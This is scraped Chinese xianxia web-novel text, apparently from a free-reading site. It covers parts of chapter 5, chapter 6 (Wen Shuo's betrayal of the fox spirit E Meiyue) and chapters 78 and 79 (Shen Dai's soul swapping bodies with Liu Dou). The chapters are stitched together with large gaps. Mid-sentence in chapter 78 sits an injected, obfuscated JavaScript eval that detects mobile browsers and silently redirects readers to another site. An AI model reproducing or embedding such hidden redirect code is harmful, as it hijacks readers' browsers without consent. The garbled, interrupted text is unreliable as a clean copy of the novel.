在恐惧温朔杀疯了,在窘迫温朔认出他,在苦恼编什么理由蒙混过关之前,他先感受到的是羞怯。 剑光一闪,温朔闪到他眼前,桃木剑尖只离他鼻尖半寸,“恶鬼,受死!” “乒”一声,另一把剑把桃木剑隔开。 腰挂双环佩的少年“哎呦”一声滚到地上,连剑也丢了,“二叔,你下手好重,震得我手疼。这人身上没有鬼气,也无妖气!错杀无辜,天下人该笑我们温氏无能了。” 如果不是温珏那一剑,蛾眉月今日要死于桃木剑下。 温朔—— 你够狠! 温朔冷淡的目光扫一眼蛾眉月,很快划开,脚一踢,勾起宝剑飞向温珏,“剑再拿不稳,罚!” 温珏抱住剑,连连点头,“我都听二叔的。” 蛾眉月咬牙切齿喊:“温朔!” 温珏道:“二叔,他认识你啊!” 温朔并不看蛾眉月,只道:“专心,应敌!” “温朔,你啊——该找个大夫瞧瞧眼疾。”蛾眉月道。 鬼将军朝蛾眉月扑过来。 蛾眉月怒吼:“离我远点!” 温朔捏剑诀,口中唸咒言,“叮叮叮”三个金光咒圈在他头顶、左臂、右臂呈品字形扩大。温珏也念咒,但他只有一个咒圈在头顶。 鬼将军抓起挂在脖子上的一只象牙号角,对着苍茫邙山“轰隆隆”吹响,一时间,晋朝鬼兵被阴风吹来,像砂一般聚拢成形,眼中磷光湛蓝,像是万点幽光浮在空中,飘来。 温朔的三个咒圈还在扩大,温珏的咒圈却停滞不长,连手中的剑都在晃荡。他们身后跟着二十来个温氏门人。 在双方针锋相对之际,温朔突然说:“珏儿,你的衣服脏了。” 温珏一听立刻低头,“哪里?脏死了!”他急忙扯下外袍,手臂连抖好几下,才甩开紫袍。 温朔双眸一眯。 那紫袍飘了起来,吹落在蛾眉月身上。 蛾眉月穿上紫袍,悠长地、怨怼地“哼”了一声,撇开头。 蛾眉月知道温望要温朔杀司马将军之时,一头就扎进北邙山,进到将军冢,但他没其实想清楚他要说什么,更想不出他要怎么办。他知道自己该作壁上观,仇不该由他陈,不该由他申,最不该由他解。他是七元厄运星君,生平谨记干干净净活,不造杀孽,安心等飞升,便是彻底脱了厄运。可他就是想也没想就来了。从什么时候起,他把自己给陷进去了,可惜,等明白了,也就晚了。 蛾眉月,你夭寿! 眼下,两方打起来了,必是你死我活。 非要掺和,看你怎么办! 温朔咤一声,左臂的咒圈飞弹出去,直冲一队鬼兵,蛾眉月闪身, 6. 第六章 客魂归何处? 《仰他》全本免费阅读 温朔一行离开将军冢。 他们走远后,魂飞湮灭的鬼将士们风吹沙聚,蓝色幽瞳浮在桃花雨中,茫然相望。 十四、十五和二十五跪成一圈,哭天抹泪喊:“天煞的狐狸,既然饶过我们,怎么就真灭了将军。将军做错了什么?将军啊,从今往后,三缺一啊!” 也就在这个时候,蛾眉月打了个喷嚏,他被捆仙绳捆成粽子,绳的另一头牵在温珏手里。温珏走得很慢,时不时会转头瞧一眼蛾眉月。反倒是温朔,走了几天几夜,都只能看到讨人厌的后脑勺。 蛾眉月知道,他要上魁星阁,受七星官审判。 欲界之修士,但凡有灵根的,必从天枢、天璇、天玑、天权、玉衡、开阳、摇光北斗七星中任取一星之力。七星官便是欲界之中,掌握七星力量的最强者。七元厄运星君能同时运化七星之力。这也是为什么蛾眉月生来便知自己与他人不同,是灭天道者。 天下文枢——金陵城。 蛾眉月走了一路,就想了一路鸭子,熟的鸭子,秦淮河畔的盐水鸭,早就想尝尝了。除了鸭子,他什么都不敢想,其他的,只会让人伤心。 他们进了一座东边的山,深山老林间竟然长着一棵桃树,结满毛桃,挂满桃胶。天下灭桃久矣,这大概是人世间唯一一棵野桃树。 温氏子弟立刻乱剑砍倒树。但年青弟子从小就听老人说,桃子鲜甜多汁,诱人食欲,是恶魔的果实。谁都没见过桃子,见了,谁都又想吃一口桃子。 温珏怯怯地瞥一眼温朔,“二叔,要不,我们吃一口?” 温朔丢下一句“随你们的便”就坐到篝火边,啃起了馒头。 “好嘞!兄弟们,上手!吃进嘴里,就当没这件事,千万别告诉家里人!”温珏一声令下,温氏子弟张牙舞爪扑上去,一个个啃桃子啃得“嗦嗦嗦”往下淌甜水。 温珏拿了个最大的桃子屁颠屁颠跑到温朔身边,手一抬,眼睛放光,“二叔,你也吃。” “捏紧捆仙绳。妖孽狡猾。”温朔看也不看桃子。 温珏手一拉,蛾眉月顺着捆仙绳跌撞到温珏和温朔之间,“结实捆着呐。二叔,你吃!”他蹲着挪动脚尖,把桃子抬了抬,就放在温朔眼皮子底下。 温朔望着篝火,火焰在他黑色的瞳孔里蹿起来,“我最讨厌桃子。” 蛾眉月抖动一下,温珏手一滑,桃子滚到温朔靴子边。 温珏要捡。 温朔呵斥:“不准捡,让它烂着。” 温珏耸肩吐舌,想拉走蛾眉月。 温朔又道:“你去吃,我帮你看着。” 温珏连连点头,想将绳子递给温朔,温朔不接,绳子掉在地上,被温朔一脚死死踩住。 蛾眉月凝着地上青粉相接的浑圆桃子,想起了桃树的桃元,所以,温朔讨厌桃子,是因为桃元是桃子的样子? 呵,他逼温朔吃了吗? 明明是他一叫,温朔立刻迫不及待地吃了。 蛾眉月冷哼一声,把头歪到一边。 温朔眼皮抬一下,问:“不服气?” 蛾眉月不搭理温朔。 温朔用手轻抚自己的眼睛,也不说话了。 两人僵了好一会儿,蛾眉月实在憋不住火,问:“在你们温家人的眼里,妖孽的命如蝼蚁一般微末,可以随意碾死是吗?” 温朔说:“寻常妖孽另当别论。灭天道者,诛。” 所以,在温朔眼里,善恶并不分明,而是有大恶、小恶的先后。大恶之人纵使什么也没做,也要为一个灭世的可能而去死! 但蛾眉月从小就认识这个小孩,他不相信温朔心里没有一点本善。 蛾眉月说:“或多或少,你还是有点可怜妖孽的。如果我只是一只普通的狐狸精,未行任何恶,你会放过我吧,甚至还会和我做朋友?” 温朔道:“没有发生的事,我不知道。” 温朔不知道他就是那只狐狸,或许他只是存了世人皆有的一种偏见,认为灭世者就一定会行恶,他顶多是愚,骨子里还没有那么绝情。 要告诉他吗? 告诉他,他会为难吗? 蛾眉月纠结得要命,只愣愣盯着温朔。 温朔皱了皱眉,“蛾眉月,别这么盯着我。” 蛾眉月愣住,“你叫我什么?” 温朔道:“听到了就不要装听不明白。” 蛾眉月浑身的汗毛都竖起来,“你知道我是狐狸,是那只狐狸,你——” 温朔抬起头,眼眸里毫无波澜,“狐狸偷温朔,小孩都知道。” 娥眉月讨厌温朔一副什么都知道,什么都掌握在手的样子。 娥眉月恶狠狠讥道:“鬼王之后,果然心思诡诈。” 温朔面色变也不变,“我知道。” 没错,温朔知道。 不对,他整个人根本不为所动,他来将军冢前,就知道司马将军是他父亲! 难道他—— 娥眉月不敢想下去。 温朔说:“设笼待兽,请君入瓮。长姐早将狐狸即灭天道者告诉我。温家等的从来就是你。蛾眉月,是你太傻。” 蛾眉月蹲下来,抱着膝盖,把头埋进腿中间,浑身颤抖起来,“温朔,你有心吗?你没有。” 温朔慢吞吞将一整只馒头咽下去,“正邪不两立,我选了对的那条路。每个人生来就有使命,我的使命就是消灭恶。” 谁说的! 人变成任何样子,命运皆是借口,重要的从来都是选择。 就像温朔,选择出卖朋友!选择出卖自己小心隐藏的善! 蛾眉月猛然抬起头,死死盯着温朔,东边山里的风吹得他眼角凉凉的,“温朔,愿你长命百岁,厄运缠身,千万——千万——别死在我前头。” 温朔仿若未闻。 “温朔,如果你接受所谓的命运,总有一天,你会认出心底的善,然后,亲手粉碎这分善,一步步成为你所谓的恶人!” “看着吧,温朔,你所信的正道会让你失望的。” 自这夜起,蛾眉月不吃不喝不说话,连看一眼温朔都觉得心慌恶心。 半月后,温朔与温珏压蛾眉月进魁星阁。 等了大约一个时辰,茶水喝个饱,七星官却只到了六位。 “天机老人怕是又记错时辰了!” “那个糊涂虫不来正好,我们开始吧!” “锁死魁星阁!” “玉衡星官,设禁阵,谁都不准进来!” 轰隆隆,两扇沉重的大门被仙门弟子关上。玉衡星官浮到空中,捏法诀,在魁星阁设下强大的禁锢之阵。 魁星阁内,六位星官站在北斗七星阵位,蛾眉月被铁链穿透琵琶骨,蓬头散发,跪在阵眼中。温朔和温珏站在一旁,温珏冷眼看着蛾眉月,温朔原本也看着蛾眉月,却在最后一刻,把目光移开了。 “今有邙山温氏协助魁星阁捉拿七元厄运星君。灭天道者,毁躯,破神,灭魂。” 六星官各自浮到空中,双手结印,劲风在六人间穿梭,将蛾眉月卷到空中。蛾眉月身上还披着残破的温氏紫袍,薄薄一层衫裹着不断从窟窿里淌出鲜血的雪白身体,黑发与衣摆轻盈地摆动着,偶尔能瞥见他纤细脖子上爆出的青紫血管,看不见他的脸,他故意把脸藏在了阴影之下。面对审判,他始终不言,不动,不在意,就好像早就从心到身早就死僵了。金光如刀光剑影般在蛾眉月身侧唰唰飞过,他的体内释出六道光,被牵引入六星官的体内,蛾眉月的裸露的手腕脚腕越来越白,白得近乎透明。 蛾眉月开始痛苦地嘶吼,然后,仰起头,长发挂下来,露出苍白的脸,哈哈大笑,笑着笑着流下清泪,“正道!好个忧国忧民忧苍生的正道!拿去吧!都拿去!让厄运缠上你们的身。让你们生生世世不得安生!” 温朔瞪大双眼,颤抖,“他们在做什么?” 温珏哼了一声,“他们在吸取七星之力。” 在这一刻,温朔心里的某堵墙崩塌,他仿佛不明白,自己生在一个什么样污秽人世。 他们为什么! 明明知道那是厄运之力,他们——凭什么! 血仿佛在蛾眉月身体里凝固住了,他好冷,身上这么多窟窿,他疼得身体发木,眼前也越来越暗。 温朔想要冲上去。 温珏手一划,“退下!还不是时候。” 温朔吼:“滚开!” 温珏目光一凛,“没出息的东西!” 温朔一愣,难以置信地盯着温珏。 温珏突然捏诀,从手中射出一个巨大法阵,将六星官与蛾眉月同时收拢在里面。奇怪的是,六星官目光空调黑沉,仿佛又聋又哑,茫然不知自己已成猎物,继续拼命汲取蛾眉月的力量。 人一旦把贪欲赤条条露出来,根本连生死都不顾。 蛾眉月的哀嚎变得轻微、模糊,像含着一口唾沫,悠长地、缓慢地将痛苦释出来。 温珏将温朔向前一推,“朔儿,我已束住所有人,开启夺魄大阵。现在,将妖孽与星官的力量统统为你所用,去吸光他们,绝不能让他们任何一人活着离开魁星阁!” 温朔愣住,木住,呆住,仿佛温珏的话他根本听不懂。 夺魄,温家家主夺了温珏的身体,化黄雀,操纵这早就蓄谋已久的阴谋。一切都是为了温氏的霸业,所有人都是其棋子,包括他温朔。 温朔感受到了欺骗。 先是自己所信的正道,而后,是从小谆谆教导他,要言必行,行必正的父亲。 他们在干什么? 他们比“恶”更恶,借由“恶”,成为至恶。 如此不堪。 如此令人恶心。 温朔说:“父亲,珏儿的身体无法承受这种强度的法阵。他会死的。” 温珏哼了一声,“资质平平之人能得此用处,死也是他的荣耀。” 正道、底线、亲情这些在欲望面前都不堪一击。 他真的要成为他们这样的人吗? 温朔喃喃喊着:“父亲。” 这一刻,正与邪,善与恶,如此模糊,仿佛只是强者的自白。
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78.第七十八章 四恶道:畜生(八) 一潮接着一潮的波涛冲击着沈黛的身和心。诸多怨念一起,如明月盘般圆的铜镜突然爆裂,长出像是树干一样的纹路。沈黛盯着镜中的自己。镜面已经将陌生的脸分割成一小片一小片,无论怎么看,也拼凑不出一个完整的沈黛。 铜镜的爆裂之声惊动了屋内的其他仆妇,杂乱的脚步声随之响起,一些人明显朝着沈黛方向而来。沈黛左右打量能藏身的地方。他的余光扫到垂下帐子的床榻中间伸出一双赤足,双腿中间又探出一只撩帐子的胖手。刘斗明显要从床上下来,他嘴里还不忘一声高过一声唤着“沈黛”这个名字。 以沈黛现在的样子,绝不能被那些仆妇见到。主子是傻子,不代表服侍的人也是傻子。不能因为人家地位卑微,做着简单而一成不变的杂事,就默认他人没有常识,不认得鬼。他沈黛稍不留意,就可能被人当成恶鬼当场伏诛。 按常理来说,这个时候,沈黛应该无声给刘斗塞个小纸条,上面写“别喊了,要被你害死了”。可惜他还没能学会写字。这个塞纸团的法子不成,沈黛转而化作一道阴风,掠在正赤、身、裸、体下床的刘斗耳边,用只有刘斗才能听到的声音说:“再叫我就走了。想办法让他们都走。我只和你一个人说话。” 刘斗很听话地用手心压住嘴,左右挪动脑袋,对着空气茫然地眨眼睛,那样子仿佛正遵循一个只有两个人知道的秘密游戏规则,要靠自己把调皮捣蛋的沈黛给揪出来。 沈黛钻进床榻边一盏亮着的灯的灯罩里,魂光与珠光捻成一条明亮的细线。沈黛融入烛火。“嗞”一声蜡油滴落,染上异色的烛火跳动着,将周遭几尺范围内物什全都染上妖异的跃动的青灰色。 沈黛立刻感受到烈火灼,但这种疼还是比抽魂好受许多了。他不知道为什么,他感觉自己越来越难以维持现在的状态,不需要幻化,魂魄就不受控制地碎成一片片,想从身体里钻出去。他必须全神贯注才让自己保持成一个整体,不让那些魂像是雨丝倒流一般流走。 几乎在沈黛钻入灯罩的同一时间,门被人从外面推进来,传来稳健而沉着的脚步声。一柄阔刀斜着挑开隔断前后两间的帘子。山羊胡老者单手抓住刀柄,刀背靠在另一条臂膀上,像是年画里魁梧的门神一样耀武扬威闯了进来。 沈黛惊异于山羊胡老者这有别于常人的警觉和匪夷所思的大胆。环顾四周,刘斗这群人默许了这样不等通传的闯入,仿佛早已习惯了一样。 沈黛觉得,刘斗这个白帝城少主多少有些有名无实。因为连苏大掌柜这样的乡下豪绅,手底下训练出来的仆人也不敢这么直接闯主人的卧房,显得这般不合时宜甚至是无礼。 山羊胡老者一现身,所有人包括刘斗噤若寒蝉。老者第一眼看的就是床榻边的灯。他是如此霸道威严,目光一接上灯烛,连火苗都矮下去半寸。沈黛的魂光和烛光完美地融在一起,成功迷惑了老者。老者很快把目光移开,稍微在破碎的铜镜上停留了一会儿目光,最后移向□□的刘斗。 与此同时,灯罩里的火苗立刻蹿起来,雄赳赳气昂昂地长高了长胖了。沈黛已经摸清了老头子的实力,不过是个有武艺防身的普通老头,下次老头再看他,他就有底气在心里怼他:“看什么看,我现在只是根燃烧自己照亮他人的蜡烛!” 屋子里越来越亮,不止有奇异光泽的烛火在照亮屋子,朝阳已从天边升起,微光直直刺进屋子,留下疏影的光轨,让周遭的一切染上些许清晨的宁静。 沈黛那种碎成一片片的感觉越来越浓烈,像是被撒了点香油在火上煎。他想到一个说法,鬼都怕阳气,幽暗之鬼不配在烈阳下行走。所以,如果他一直维持着魂魄的形态,一到白天,他就会碎成一片片? 山羊胡老者抱刀单膝跪地:“少主,可是有人惊扰?” 刘斗没回答,抬脚踹飞床榻边的灯。 沈黛当下想骂爹。 “哐当哐当”一阵乱响,灯罩和下方的三脚木支架歪歪扭扭,最终支撑不住全都摔落在地上。沈黛和蜡烛勾搭着从灯罩里滚出来,天旋地转之后,蜡烛滚到山羊胡老者脚边——和沈黛一起。 老者垂眸。 沈黛抬眸。 人和物的目光没有落在一处。 老者惊异于一支普普通通的蜡烛翻滚了那么多次竟然还亮着光。沈黛则是倒吸了一口冷气,但凡老者留意一下自己磨得锃亮的刀面,就会发现一张人的脸正惊恐地盯着他。 刘斗踢翻灯后只说了一个字:“滚!” 山羊胡老者和仆妇们你看我看你,默默退出屋子。 这样就可以了? 真的假的! 沈黛以为刘斗会绞尽脑汁,想出一个蹩脚的理由,并且费上好一番口舌才能支开这些人。没想到只是简简单单的一个“滚”字,就让他们真的全都滚了! 沈黛转念一想。 也是,上位者的每个字都是金贵的、有效的,不需要做任何解释。说服他人做事,给予一件事这么做的理由都是卑微者的习惯。比如他,蛊惑他人做一件事前,得准备一肚子的谎话。 可老者的行为与刚才表现出来的大胆无礼不符。 沈黛转念再一想,这也说得通。刚才是情急之下不容迟疑的事,是老者本性驱使他那样闯入。一旦冷静下来,刘斗还是白帝城的少主人,面子上或者说在可控的局面下,一切还是要听少主人的。 沈黛对刘斗的第一感觉没错。这个傻乎乎的少主被身边人架起来的无形牢笼所关押。究竟是保护的铁盾,还是折磨的地狱,或许只有身处其间的人才能体会。想到这,沈黛竟然有一点点可怜他。身处牢笼的小鸟总是会被偶然发觉的、来之不易的新鲜东西所吸引。而他沈黛就是那股令他晕头转向的新鲜劲儿。 “沈黛——沈黛——他们都走了。你在哪?”阿斗在屋子里走来走去,不时拉开柜子,撩起帷幔,扑向某个烛火照不亮的阴暗角落。他大概觉得那些都是沈黛可能躲藏的地方。 刘斗像是在做游戏。那个自娱自乐的样子,让沈黛觉得白帝城的少主人在自己宅邸里,肯定没少玩那种蒙眼扑人的游戏。 沈黛道:“你先把衣服穿上。” 刘斗返回床榻,从被子下抽出一件单薄的中衣随意披在身上,两襟对开,从头至脚该看的不该看的还是一览无余。 沈黛道:“系上腰带。” 刘斗的脑袋左右摆动,在极为潦草的找寻下并没有发现自己的腰带在哪里,于是,直接捏起两片衣摆在肚子前方打了结,勉强算是遮住了关键部位。 沈黛从蜡烛里飘出来,浮在破碎的铜镜前,打量自己镜中的样子。 如此陌生,如此难看,这根本不是他! 沈黛发了会儿呆,突然看见橙黄碎裂的镜面里慢慢长出一张贼眉鼠眼的脸。 刘斗已经能看到镜子前的那团光,并隐隐看到镜子里倒映一张隐在灰蒙蒙的雾气下的脸。他轻手轻脚来到那团光后面。 沈黛猛然回身,胡乱释出自己的力量,像箭一样射向刘斗。 他不想让人看到镜中的那个人。 那个人跟他一点关系都没有! 没有! 刘斗被力量冲翻在地,发出一声哀嚎。 “少主——” 屋外天色已亮了大半。几个人迅速聚拢,每个人的影子投于门格子上,由小变大,由稀变密,依稀能从起伏的五官上辨出山羊胡老者也在其中。 沈黛压低声音说:“让他们别进来。你不看镜子,我就不再那么做。” 刘斗坐在地上,双手反撑在背后,高声道:“我在睡觉,别烦我!” 聚拢在门格子上的人影又像是潮水般退去。 那些人退去后,沈黛却沉默着。 刘斗站起来,坐到床榻边沿,盯着那团光,“你是摇光星君带来的那个沈黛吧?”他没有给沈黛回答的机会,直接自问自答,“肯定没错。我听得出你的声音。你怎么这个样子来找我?” 沈黛在思考,关于这件事,到底要告诉刘斗到什么程度。他原本的目的很简单,只是想让刘斗帮他引开曹云,让他有机会接近自己的肉躯,使用风咒唤来温朔。简单来说,就是让天降的道盟好心人善心人良心人出面调停一下他和曹云之间的“误会”。 可事情已经变得没那么简单了。 在见到铜镜里的自己前,他是信任温朔的。在见到铜镜里的自己后,他更加相信温朔,以及明白了他对他所谓的“善意”从何而来。他原本就觉得,一个人不会无缘无故对他人好。温朔太好了,好到他痛苦煎熬,好到他差点迷途。现在他总算明白了,的确没有无缘无故的好,因为这个好是因为其他人。 信任是一回事,想不想见他,又是另一回事了。 现在还有找温朔的必要吗? 不—— 沈黛现在几乎可以断定,就算温朔不出现,曹云也不会伤害他。他们在通过某些仪式,捏碎他沈黛,唤醒镜子里的那个陌生人。 沈黛心旌摇曳,体内像是有无穷的力量爆裂。他从未感觉自己掌握那么多力量,也从未想到自己有一天可以利用那么多厉害的人。 更加从未—— 感觉自己如此厌恶这个人世。 他们凭什么! 他们没资格! 他们是一群狼心狗肺的人! 沈黛道:“我被人从身体里抽出魂魄。在这个书院,我能叫出名字的只有你一个,说过话的也只有你一个,知道住处的更只有你一个。” “动手打过的也只有我一个。”刘斗忿忿嘟囔,又极快地接上,“是你的仇家找上门吗?” 沈黛说:“是个女人。” 刘斗笑道:“你小小年纪就欠下这种恨不得杀了你的风流债吗?” 沈黛道:“冤无头,债无主。他人欠债,我来还债。” 刘斗斯哈一声,“这么惨的吗?要不要我让焦二把那个人杀了?那个女人是谁?” 沈黛道:“不,一点都不惨。相反,比我原来设想得更容易些。像戏台上的戏子,台上发生的事都是假的,是他人和我自己编出来的。唱戏而已,很容易的。原本,是有些麻烦,我是有一点——” “——动心的。”沈黛无声将后面的字咽下肚子。 刘斗道:“我看不透你。你的话表面听起来好像很决绝洒脱,可就是给人一种感觉,你好像——很不甘心、很疯怒愤怒。” 沈黛道:“因为我要走一条被自己都看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822079|125686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起的道路。去假扮他人,去偷窃属于他的东西。不过没关系。我活到现在一贯如此。不被世人鄙夷,我怎么能苟延残喘至今?” 刘斗露出迷茫之色,抓耳挠腮,试图理解沈黛的未竟之言,失败,不再纠结地转而道:“你的意思,是不用杀那个女人咯?那你要我做什么?” 沈黛转头看向亮堂堂的屋外,“借我一把伞。背着我,去找那个女人,完成她没能做完的事。” 刘斗道:“这个好说。只是——” 沈黛戒备地盯着刘斗,“作为交换,你要我做什么?” 刘斗像是被戳破心思一样用手揉没有束起来的乱糟糟的后脑勺,低头,支支吾吾说:“我不是低贱的商贾,不是在和你谈条件。” 沈黛清淡道:“没关系。这个世间哪里来这么多不需偿还的善意?一个人对另一个人好,总是有所企图。没有,反倒让人觉得那个人是不是要一件他无法兑现的东西。说吧,一把伞、背我一次,要换什么?” 刘斗低头,拨弄粗粗短短的手指,“一把伞,是你欠下的债。背你一次,算是还伞的债。两件事一起做,一笔勾销。” 沈黛轻笑出声。 这个白帝城的呆子少主将那种觊觎他人又卑微到尘埃的丑态毫不遮掩地展现在沈黛面前。如果沈黛眯着眼睛,将刘斗的胖身子模糊看,竟然还是有些可爱之处的。 沈黛钻入垂下帷幔的床榻等着。 刘斗唤来仆妇为他净身穿衣。贵公子足足耗费了一个多时辰才在他人服侍下变得人模狗样。刘斗唤来那个叫焦二的山羊胡老者,说他要出去一趟。八月底还是暑热,人身上的气味冲得他难受,去那个地方的时候,他自己打伞,让焦二的人前后空出几丈跟着就可以了。 沈黛躲过焦二的目光,飘到刘斗背后。一个仆妇要上来给刘斗打伞。刘斗呵退了那个仆妇,自己打开乌布油伞,把伞柄靠在肩头。 刘斗一行前往沈黛下榻的院子。 其间,刘斗小声说:“你真轻,像是一团没什么分量的白烟。我都感觉不到你在我背上。” “噤声!小心被人听到!”沈黛不想和刘斗多啰唆。 才过了一会儿,刘斗又忍不住开口:“你会在了了书院待多久?你和那个道盟的怪物是什么关系?你都念了什么书?” 沈黛咬牙切齿地用魂火烧了刘斗一小块后脖子根,“你话太多了!” 刘斗一边吸冷气,一边不知死活地继续道:“马上就到了。你还在吗?我真的感觉不到你了。你骂骂我也好的。” 沈黛被烈阳晒着,浑身软绵绵,懒得再对刘斗吐上一脏话——哪怕是一个字。 “你离开躯体那么久,身体臭了怎么办!” 沈黛实在忍不住,又烧了刘斗脖子一下。刘斗疼得直哼哼。 越靠近自己的屋子,沈黛觉得自己越难以维持现在的样子,不仅仅是因为朝阳带来的阳气,还因为那紧闭的屋门内有什么东西正在吸引他的魂魄。那未知的力量来源于自己的躯体,像母亲召唤孩子,魂魄不受控地想要往那里扑去。 那个女人到底又做了什么? 想到曹云那些诡异和疯狂的手段,想到她加注在自己身体上的痛苦,沈黛立刻又犯怂。 沈黛道:“你让焦二把那个女人引开。然后,劳少主去看看我肉身的情况,没什么问题,打开窗户向我招手。我就躲在树荫地下底下。” 刘斗很听话地吩咐了几声。 焦二走到屋门前。 沈黛趁机飞到院中的树荫底下。 焦二敲了敲门,没人来开门。他还是那样火爆脾气一脚踢开房门,进去了一会儿又出来,回到刘斗身前,“少主,里边没有你说的女人。只有那个沈小公子躺在床上睡觉。睡得很熟,唤不醒。” 刘斗道,“所有人,等在院门外。”刘斗感受到焦二的目光,略显虚心地补了一句,“你已经检查过了屋子,没什么危险。我又没有长翅膀,飞不出去的。反正你肯定会留一条缝偷看。去外面等着!” 刘斗走进屋子,过了近一刻都没有按约定在窗下给沈黛招手。 难道真的有问题? “哐”一声—— 院门被粗暴地踢开,焦二大刀阔斧且真就带着一把阔刀朝紧闭的房门走。 糟了! 要是出一点纰漏,这个焦二把自己的身体当瓜菜坎烂了怎么办? 沈黛先于焦二一步,化为一道绚烂刺目的光团飞入屋内。 屋内,“沈黛”坐在床边,衣襟松散,正抬起双手,茫然盯着自己裸露的手臂。地上,刘斗圆滚滚的身体仰面躺着。 沓沓沓—— 焦二的脚步声越来越近。 沈黛突然想起那些“鬼能附身”的故事。他化为一团光,飞入地上的刘斗身体。 “刘斗”坐了起来。 “刘斗”和“沈黛”相互望了一眼,全都一愣。 焦二走了进来,“少主,出了什么事?” “沈黛”先嗷一声:“没事!” “刘斗”瞪了“沈黛”一眼。这个“沈黛”才想起自己不是沈黛。 “刘斗”对焦二说:“没什么事。我们在玩戏台上唱大戏的游戏呐。” 79.第七十九章 四恶道:畜生(九) 焦二见自家少主生龙活现好得很,也就没说什么转身出去了,还不忘掩耳盗铃般虚掩上屋门。 沈黛本想三步并作两步上前去揪刘斗的衣襟,却发现身体沉得像死猪,有种意识和行动不同步的感觉。就好像他的意识已经把手抬过头顶,实际上手臂才堪堪经过腰胯。他驱使这具身体已然很不容易,根本做不到手脚灵敏,上去将抢占他身体的刘斗胖揍一顿。 不对,现在打刘斗就等于打自己。沈黛勉强按捺下扇自己一个耳光的冲动。他的膝盖有一种不堪重负的刺痛,长吁一口气,干脆后仰倒地坐着,折起僵硬的膝盖,双掌反撑在身后,试着调整不规律的呼吸。 沈黛死死盯着刘斗,问:“你到底怎么回事?” “好嫩!好白!好滑!这真是我的身体吗?”刘斗的手摸向自己的脖子,在白皙的脖子上抓出几道灼烧沈黛眼球的红爪印,手随之伸进松散的衣襟,一路往下探,几乎要探到小腹以下,摸到不给摸的东西。 沈黛怒吼:“再往下摸——爪子砍掉!” 刘斗做了个自认为很搞怪的吐舌动作。自己的脸加上这个表情,实在没眼看,沈黛暗叹一声,将头别到另一侧。 刘斗说:“砍掉也是砍你自己的手。你也舍得。” 沈黛问:“你为什么要上我的身?到底发生了什么?” 刘斗用手指摩挲自己优美的下巴曲线,摸了一次不够,还摸了第二次、第三次,随后才悠悠道:“我也不知道发生了什么。我一进来,看到你好好躺在床上。我刚靠近,好多金丝从你身体里钻出来,有点像我母亲工笔勾的菊花。它们是活的,全都长了脚和眼睛,一下子将我包住。我还以为我遇上了西域产的食人花。” 沈黛把头转回来,小颗葡萄的眼睛里多了几分寒光,问:“你不会反抗?不会挣扎?不会喊人吗?” 刘斗苦笑道,“我是想喊的,可实在太疼了,一下子就疼晕过去。等我醒过来,你和焦二已经闯进来,变成你现在看到的样子。”他顿一顿,露出个憨态可掬的笑容,问,“我是没办法被迫的。你又是为什么进入我的身体?” 沈黛给了刘斗一个“你说呐”的眼神让他自行领会,并警告他:“注意你的用词。不要引人想象。不是进入,是暂用。” 刘斗立刻闭嘴,苦哈哈心领神会去了。 过了一会儿,刘斗问:“我们现在怎么办?” 沈黛不假思索道:“去找曹云,让她把我们两个换回来。” 刘斗跳起来,跳得三尺高,大声道:“你的仇家是这个了了书院的院士?那个红衣女鬼——曹云?那可是如假包换活了几百上千年的西山母老虎。啧啧啧,和她有牵扯,你也下得去口!” 沈黛翻了翻眼皮,“在人家地界,积点口德。” “是啊,小沈黛,你在背后说我是西山母老虎,我可是听到了!学问高低看天资,看个人追求,但咱们首先要讲礼貌。所谓字如其人。朔朔的字那样好看。你这样调皮捣蛋,小心写出来的字龙飞凤舞像鸡爪疯。一点都不般配。” 女子轻灵的声音从屋外飘进来,“嗙”一声,门被推开,门外站着红裙翩飞嘴边噙笑的曹云。她的手臂交叉叠在腰后,跨过门槛,不等站在屋外的焦二说话,又是“嗙”一声,门自动关得严丝合缝。 沈黛尝试着再次站起来,但手肘膝盖还是发木发僵,反撑双臂,支起双脚,以一种反抬轿子的诡异姿势抖索了身体几下,最终还是一屁股焊在地上,无可奈何地盯着曹云。 他怎么就驱动不了这副身体呐! 太胖了! 刘斗从床榻上站起来,不动声色地拉平衣襟,将衣袍整理平整,朝曹云深深折腰行礼,喊了声:“曹先生。” 曹云露出惊异的神色,毫不避讳地上下打量刘斗,道:“你告诉我,我今天穿了什么颜色的衣裙。” 刘斗道:“绯色。” 曹云眉眼皆笑道,很是得意,“看来我的法子很成功。我没骗你吧,小沈黛,只疼那么一小下,好处却多多。” 刘斗看一眼曹云,又瞥一眼沈黛,很犹豫、很心虚、很不安地“嗯”了一声。仿佛是回应,仿佛是敷衍,又仿佛是糊弄。总之就是事后出了差错他也不负责地含糊回答。 沈黛也不知道刘斗在想什么。他又不是沈黛,乱“嗯”什么。这个白帝城的少主人果真是个在长者尊者面前逆来顺受捣得一手好糨糊软骨头。 曹云目光扫到沈黛,露出些许疑惑的神情,问:“那这个小朋友又是怎么了?” 沈黛气喘吁吁道:“我是沈黛。” 刘斗抬了抬手,像是在学堂上举手发言的好学生,“我是刘斗。” 曹云愣了一下,眨了眨眼,先是露出茫然之色,一刹转为有所了悟,随之变成难以置信,最后认命了般喃喃:“完了,完了,陷阱出纰漏了。好好的小雪人变大冬瓜。怎么和朔朔交代啊。” 沈黛问:“你们到底想在我身上做什么?” 曹云支吾道:“你就当我是个大夫,要治好你身上的病。治好了,眼明心净,吃饭香香。” 刘斗插嘴:“你有病吗?” 沈黛瞪刘斗,“你才有病。” 沈黛神思飞转。 这是要治他眼睛舌头鼻子上的毛病? 不,暂时还不能松懈。 曹云道:“那个法术只完成了前半段,把你的魂魄从身体里抽出来。后半段应该用缚神仙索加固你魂魄和躯体的关联。可你跑了。我也不知道你要在外面晃多久,想着你总不至于不要自己的身体,就事先在你身体里种下缚神仙索。等你自己摸回来,缚神仙索会自己完成后半段法术。” 沈黛问:“你从来没想过你的法术会绑错人?” 